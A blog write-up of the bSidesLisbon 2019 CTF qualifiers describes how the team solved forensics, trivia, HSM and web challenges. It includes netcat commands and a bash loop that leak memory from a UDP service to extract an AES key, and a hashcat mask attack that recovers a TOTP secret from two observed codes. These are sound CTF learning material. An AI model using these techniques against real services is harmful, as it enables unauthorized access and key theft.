<- Go back to blog

bSidesLisbon 2019 — CTF quals Write-up

One more year, one more bSidesLisbon, and therefore, one more CTF to be qualified.

Being part of team Probely always makes me feel like the fat kid in the school’s football team. There’s a little difference this year, Bruno Barãowas not on vacation, so everything would be easier 😜

1 — Badge (Misc 100^W)

Let’s skip this one, it went offline after a few minutes… We will talk about it later…

2 — Reload (Trivia 200)

Name the creator of the exploit used to hack into CityPower Grid Rerouting.

A quick search got us this famous image from Matrix Reloaded with Trinity hacking.

Searching for "sshnuke"we found the SSH CRC32and its creator.

3 — White Rabbit (Forensics 300)

Wake up … (neo)

We got an image file named “neo”…

We got nothing using binwalk, nothing with stegsolver … so let’s look deeper…

After patiently looking at the strings, we found the string “hacker.docx” inside… let’s extract this file.

Lot of spaces (0x20) before and after the “hacker.docx” block

Extracting that area, we got an unrecognized file, but the magic numbers looked familiar… like a zip file… humm… ahhh 💡 they almost fooled us, the magic numbers were switched, they should have been 50 4B 03 04.

unzip failed to extract it, but with 7z we got the “hacker.docx” and we saw a “vbaProject.bin” inside. Humm, a VBA macro…

$ officeparser.py --extract-macros hacker.docx
$ cat Module1.bas 
Attribute VB_Name = "Module1"
66 6c 61 67 7b 61 5f 68 61 63 6b 65 72 5f 79 6f 75 5f 61 72 65 5f 69 6e 64 65 65 64 7d

And we got the flag in hex


4 — HSM (Pwnable 400)

We’ve captured some traffic to a highly secure Hardware Security Module. Can you extract the AES key from the module?

Opening the hsm “pcap” file, we saw this UDP communication.

Replaying the payload, we got the encrypted message:

$ echo -e 'ENC\x0C\x00\x00\x00bsideslisbon' | nc -u -w 1 31337

After a few attempts, we discovered that if we send the encrypted base64 with “DEC” we got the decrypted message in base64.

$ echo -e 'DEC\x0C\x00\x00\x00QTz6fHn34GPrchElo0Hjd2sRxW9Y45Lp/3eHon3vHcY=' | nc -u -w 1 31337
$ echo -e 'DEC\x0C\x00\x00\x00QTz6fHn34GPrchElo0Hjd2sRxW9Y45Lp/3eHon3vHcY=' | nc -u -w 1 31337 |base64 -D

While playing around, trying to get a buffer overflow using large payloads, but without success, we found that if we send the wrong payload to ENC and echo back the response to DEC, we get a dump from some part of the memory…

$ echo -e 'ENCkadjkahsdkhakshdkhaskdsd' | nc -u -w 1 31337

And decrypting it

$ echo -e 'DEC\x0C\x00\x00\x00tqEDRPDXf8qbn3orIKBZ6tVTRQEaGdK9BCQH/gvhTwxiAxssE33AMcoQSXpIzcpURZl2CDgoSU5MLFOpR1HfwMJasM6cGZ02YlXgw1Sh9qvTKp56b4WgiuxlqsSaYvQTzIM56CSjAVarvsjfvt0w6WA0X0flA8SrrrkAt06ugbNoJeJocAzIeJqMyqBgAbMD1zRGIhraeuzwCpEHneJjUTxIur4JNAYlkxa55BCRoJUXLdELwJRoyAMcXxr/eYCmzIs/Gk4jeR7JJTw26dnnv2ijepu04mlONCOkE8JYc0posPBQ37A2cYeEiOpi2Vi+TnD9ggZPB8v/XSukNbv9Vc51tluYvVrFYzpLwLdf2YTvx/sBdqRFsaBZxHyP/g/LEFsAYyIkMrVg4mTXRas5Bw==' | nc -u -w 1 31337 |base64 -D
kahsdkhakshdkhaskdsdinux-x86-64.so.2GNU GNU

A small bash script…

$ for i in `seq 1 10`; do a=`python -c 'print "ENC"+"A"*50' | nc -u -w 1 31337`; echo -e "DEC\x0C\x00\x00\x00$a" | nc -u -w 1 31337|base64 -D; echo; echo; done

?RM!E.?8?J******  BSLX Hardware Security Module v1.0b ********1

AESKEY = flag{0m6_y0ur_h34r7_15_b133d1n6} ?qM!A-J?    ?W

Q?tdR?td******  BSLX Hardware Security Module v1.0b ********64/ld-linux-x86-64.so.2GNU

And we got the flag


5 — Love Me Two Times (Web 500)

We’ve been intercepting the cell phone from John McFlurry. Here’s a dump (pun intended) attached.

The attached file (SMS.DMB) had this content

$ cat SMS.DMP 

Using an online SMS Deliver PDU Decoder we got the following conversation

Time stamp: 10/11/2018 13:37:01
From: +555-555-555-1234
Message: John, the backoffice is up at https://ctf.bsideslisbon.org/LVME2TMS/

Time stamp: 10/11/2018 13:40:32
From: +555-555-555-31337
Message: Idiots! I can't login. What's the password ?????

Time stamp: 10/11/2018 14:02:15
From: +555-555-555-1234
Message: Sorry! user: john, password: master

Time stamp: 10/11/2018 14:16:09
Message: Please use the code 392756 to verify your phone for two-factor authentication.

Time stamp: 10/11/2018 14:36:21
From: +555-555-555-31337
Message: I've logged in. Looks unhackable! Let's launch this at bsideslisbon!

Time stamp: 11/11/2018 09:52:12
Message: Please use the code 664211 to verify your phone for two-factor authentication.

Visiting the URL and trying to login with the credentials and the two-factor codes, the access was denied with “Invalid TOTP code

Well, we tried some known vulnerabilities, but the sessionid was being renewed on every request, so it would be hard to automatize it. While brainstorming, Bruno Barão had the brilliant idea of trying to brute-force the base32 secret for the TOTP code, since we had two OTPs and their timestamps.

$ cat test.hash
$ hashcat -m18100 --status --keep-guessing -a3 -o totp.potfile test.hash "?l?l?l?l?l?l"

A few minutes later

$ cat totp.potfile | awk -F ':' '{print $3}' | sort | uniq -c | sort -nr| head -3
      2 NFWWIZLBMQ======
      1 PJVWOZ3RMU======
      1 PJUHE6DYME======

We got the base32 secret

>>> import pyotp
>>> totp = pyotp.TOTP('NFWWIZLBMQ======')
>>> totp.now()

Going back to the web page and try to login with this TOTP code, we got in.


1:24 AM, and we were almost done… One challenge left…. Meanwhile, the first challenge was online again…

1 — Badge (Misc 300)

bSidesLisbon 2018 badge was cracked, at last!

Here’s the flag:


Keywords: mifare classic aes pbkdf2 cbc 256 openssl

We also got two files, hf-mf-CDEF213E-data.bin and peer.pub.pem, a RFID mifare classic dump and a public key.

Parsing the dump with mfdread and converting the HEX values we got the base64


Which gave us the following private key


So we created the shared secret using the given public key and the found private key

$ openssl pkeyutl -derive -inkey private-key.pem -peerkey peer.public.pem -out shared-secret.bin

And try to decrypt the given flag

$ openssl enc -aes-256-cbc -pbkdf2 -pass file:shared-secret.bin -d -in flag.bin
bad decrypt
140641640051904:error:06065064:digital envelope routines:EVP_DecryptFinal_ex:bad decrypt:../crypto/evp/evp_enc.c:570:

WTF… Why…?! And the funny^Wnot so funny party just started… 🤬

We spent the rest of the night and the next day around this… asking João Poupino (our cryptographic master) for help, brute-forcing with different digests and iterations… long story short… the given flag was encrypted with a shared secret created with a different version of openssl 🤯 and didn’t match.

The encrypted flag was changed in the challenge by the organization, and voila…


We didn’t finish the quals in the first position, that was for the “Dark night of the soul” team: congratulations to them. We’re looking forward to understand how they circumvented the problem with the badge’s challenge.

See you all in the bSidesLisbon on-site CTF.